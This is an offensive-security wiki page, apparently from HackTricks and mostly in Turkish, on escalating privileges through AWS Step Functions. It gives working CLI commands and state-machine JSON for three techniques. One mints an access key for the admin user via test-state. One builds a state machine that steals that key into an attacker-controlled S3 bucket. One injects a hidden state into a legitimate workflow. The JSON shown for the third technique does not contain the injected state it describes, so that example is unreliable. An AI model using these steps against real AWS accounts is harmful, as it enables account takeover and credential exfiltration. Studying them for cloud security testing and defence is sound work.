AWS - Step Functions Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Step Functions

Bu AWS servisi hakkında daha fazla bilgi için bakın:

AWS - Step Functions Enum

Task Kaynakları

Bu privilege escalation techniques, istenen privilege escalation actions’ı gerçekleştirmek için bazı AWS step function resources kullanılmasını gerektirecektir.

Tüm olası eylemleri kontrol etmek için kendi AWS hesabınıza gidip kullanmak istediğiniz eylemi seçebilir ve kullandığı parametreleri şu şekilde görebilirsiniz:

Veya AWS API dokümantasyonuna gidip her action’ın dokümantasyonunu kontrol edebilirsiniz:

states:TestState & iam:PassRole

states:TestState ve iam:PassRole izinlerine sahip bir saldırgan, mevcut bir state machine oluşturmadan veya güncellemeden herhangi bir state’i test edebilir ve herhangi bir IAM rolünü ona geçirebilir; bu, rollerin izinleriyle diğer AWS hizmetlerine yetkisiz erişime yol açabilir. Bu izinler bir araya geldiğinde, iş akışlarını manipüle etmekten verileri değiştirmeye, veri ihlallerine, kaynak manipülasyonuna ve privilege escalation’a kadar geniş kapsamlı yetkisiz işlemlere neden olabilir.

aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

Aşağıdaki örnekler, bu izinleri ve AWS ortamındaki geniş yetkili bir rolü kullanarak admin kullanıcısı için bir erişim anahtarı oluşturan bir state’i nasıl test edeceğinizi gösterir. Bu geniş yetkili rol, state’in iam:CreateAccessKey eylemini gerçekleştirmesine izin veren herhangi bir yüksek ayrıcalıklı politika (örneğin arn:aws:iam::aws:policy/AdministratorAccess) ile ilişkili olmalıdır:

  • stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • Komut privesc’i gerçekleştirmek için çalıştırıldı:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Potansiyel Etki: Yetkisiz iş akışlarının yürütülmesi ve manipülasyonu ile hassas kaynaklara erişim, potansiyel olarak önemli güvenlik ihlallerine yol açabilir.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

Bir saldırgan states:CreateStateMachine ve iam:PassRole izinlerine sahip olduğunda bir state machine oluşturup ona herhangi bir IAM rolünü atayabilir; bu, rollerin izinleriyle diğer AWS servislerine yetkisiz erişime olanak tanır. Önceki privesc tekniğinin (states:TestState & iam:PassRole) aksine, bu teknik kendi başına çalışmaz — state machine üzerinde bir yürütmeyi başlatmak için ayrıca states:StartExecution veya states:StartSyncExecution izinlerine sahip olmanız gerekir (states:StartSyncExecution standard workflows için mevcut değildir, sadece express state machines için).

# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

Aşağıdaki örnekler, AWS ortamındaki bu izinler ve bir izin verici rol kullanılarak admin kullanıcısı için bir erişim anahtarı oluşturan ve bu erişim anahtarını saldırgan kontrolündeki bir S3 bucket’ına sızdıran bir state machine oluşturmayı gösterir. Bu izin verici rol, state machine’in iam:CreateAccessKey ve s3:putObject eylemlerini gerçekleştirmesine izin veren herhangi bir yüksek ayrıcalıklı policy’ye (örneğin arn:aws:iam::aws:policy/AdministratorAccess) sahip olmalıdır.

  • stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Komut durum makinesini oluşturmak için çalıştırıldı:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • Daha önce oluşturulmuş state machine’in çalıştırılmasını başlatmak için yürütülen Command:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

Warning

Saldırganın kontrolündeki S3 bucket’ının, kurban hesaptan gelen bir s3:PutObject eylemini kabul etme iznine sahip olması gerekir.

Potansiyel Etki: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim; bu durum önemli güvenlik ihlallerine yol açabilir.

states:UpdateStateMachine & (her zaman gerekli olmayan) iam:PassRole

Bir saldırgan, states:UpdateStateMachine iznine sahip olduğunda state machine tanımını değiştirebilir; gizli ek state’ler ekleyerek yetki yükseltmeye yol açabilir. Böylece, meşru bir kullanıcı state machine yürütmesini başlattığında, bu yeni kötü amaçlı gizli state çalıştırılır ve yetki yükseltme başarılı olur.

State machine ile ilişkilendirilmiş IAM Role’ün ne kadar izinverici olduğuna bağlı olarak, saldırgan iki durumla karşılaşabilir:

  1. İzinverici IAM Role: Eğer state machine ile ilişkili IAM Role zaten izinverici ise (örneğin arn:aws:iam::aws:policy/AdministratorAccess politikasına sahipse), yetki yükseltmek için iam:PassRole izni gerekli olmaz; IAM Role’ü de güncellemek gerekmeyeceğinden state machine tanımını değiştirmek yeterlidir.
  2. Kısıtlı IAM Role: Bir önceki durumun tersine, burada saldırganın ayrıca iam:PassRole iznine ihtiyacı olur; çünkü state machine tanımını değiştirmeye ek olarak izinverici bir IAM Role’ü state machine’e ilişkilendirmek gerekir.
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

Aşağıdaki örnekler, sadece bir HelloWorld Lambda fonksiyonunu çağıran meşru bir durum makinesini (state machine) güncelleyerek, kullanıcı unprivilegedUser’ı administrator IAM Grubu’na ekleyen ek bir durum (state) nasıl ekleyebileceğinizi gösterir. Bu şekilde, meşru bir kullanıcı güncellenmiş durum makinesinin bir yürütmesini başlattığında, bu yeni kötü amaçlı gizli durum çalıştırılacak ve ayrıcalık yükseltme başarılı olacaktır.

Warning

Eğer durum makinesine ilişkilendirilmiş geniş izinlere sahip bir IAM Role yoksa, daha izin verici bir IAM Role’ü ilişkilendirmek (örneğin arn:aws:iam::aws:policy/AdministratorAccess politikasının eklendiği bir rol) için IAM Role’u güncellemek amacıyla iam:PassRole izninin de gerekli olacaktır.

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • Komut, meşru durum makinesini güncellemek amacıyla yürütüldü:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Potansiyel Etki: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim; bu durum önemli güvenlik ihlallerine yol açabilir.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin